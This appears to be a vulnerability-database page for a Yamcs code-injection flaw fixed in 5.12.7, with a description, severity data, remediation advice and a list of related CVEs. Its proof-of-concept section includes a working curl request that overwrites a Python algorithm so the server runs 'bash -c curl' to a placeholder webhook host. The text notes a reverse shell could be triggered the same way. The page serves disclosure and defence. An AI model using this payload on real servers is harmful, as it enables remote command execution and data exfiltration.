Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/yamcs/yamcs) · only source for this CVE.
CVSS VectorVendor: https://github.com/yamcs/yamcs
Lifecycle Timeline
3Blast Radius
ecosystem impact- 6 maven packages depend on org.yamcs:yamcs-core (6 direct, 0 indirect)
Ecosystem-wide dependent count for version 5.12.7.
DescriptionCVE.org
Summary
A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.
Details
The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).
Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.
PoC
Prerequisites:
- A running Yamcs instance with the Jython engine available in its classpath (e.g.,
jython-standalonedependency included). - An active authentication token for a user with the
SystemPrivilege.ChangeMissionDatabaseprivilege. - An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to
python(e.g., a custompocalgorithm). *Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.*
Exploitation Steps:
- Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages
java.lang.Runtimeto execute an OS command (e.g., triggering an external webhook or a reverse shell).
curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \
-d '{
"action": "SET",
"algorithm": {
"text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0"
}
}'*(Note: Assigning a valid output like out0.value = 1.0 ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution).*
- Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to update the required parameters likeSunsensor). - The Yamcs server compiles the injected text into an executable script on the fly.
- Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
AnalysisAI
Remote code execution in Yamcs (the open-source mission control framework, yamcs-core) before 5.12.7 lets an authenticated operator holding the ChangeMissionDatabase privilege overwrite a Python (Jython) algorithm via the Mission Database REST API and run arbitrary OS commands on the host. The Jython script engine is invoked without a sandbox, so injected algorithm text can import java.lang.Runtime and shell out. Publicly available exploit code exists (a full PoC is published in the GitHub Security Advisory), but the issue is not listed in CISA KEV and no public in-the-wild exploitation is identified.
Technical ContextAI
Yamcs supports user-defined telemetry/command algorithms written in scripting languages. For Python-language algorithms, the AlgorithmManager uses ScriptAlgorithmExecutorFactory to obtain a JSR-223 javax.script.ScriptEngine backed by Jython (the jython-standalone dependency). Jython compiles and evaluates the user-supplied algorithm body with no security manager or restricted execution context, and because Jython offers seamless interop with the host JVM, script code can import native Java classes such as java.lang.Runtime and ProcessBuilder. This is a textbook CWE-94 (Improper Control of Generation of Code / Code Injection) flaw: untrusted text supplied through the MDB API at /api/mdb/{instance}/realtime/algorithms/{name} is treated as executable code. The affected artifact is the Maven package pkg:maven/org.yamcs:yamcs-core.
RemediationAI
Vendor-released patch: 5.12.7 - upgrade org.yamcs:yamcs-core to 5.12.7 or later as the primary fix. Where immediate upgrade is not possible, reduce the privilege surface by auditing and revoking the SystemPrivilege.ChangeMissionDatabase grant so only a minimal, trusted set of operators retains it (trade-off: those users lose the ability to edit the Mission Database at runtime). As a stronger compensating control, remove the Jython/jython-standalone scripting engine from the deployment classpath if Python algorithms are not required, which eliminates the execution path entirely (trade-off: any existing Python-language algorithms will stop functioning). Additionally restrict network access to the Yamcs HTTP API (default port 8090), particularly the /api/mdb/{instance}/realtime/algorithms/ endpoints, to trusted management networks. See the advisory at https://github.com/yamcs/yamcs/security/advisories/GHSA-2g95-6x5q-xjwj for authoritative guidance.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-94 – Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-44959
GHSA-2g95-6x5q-xjwj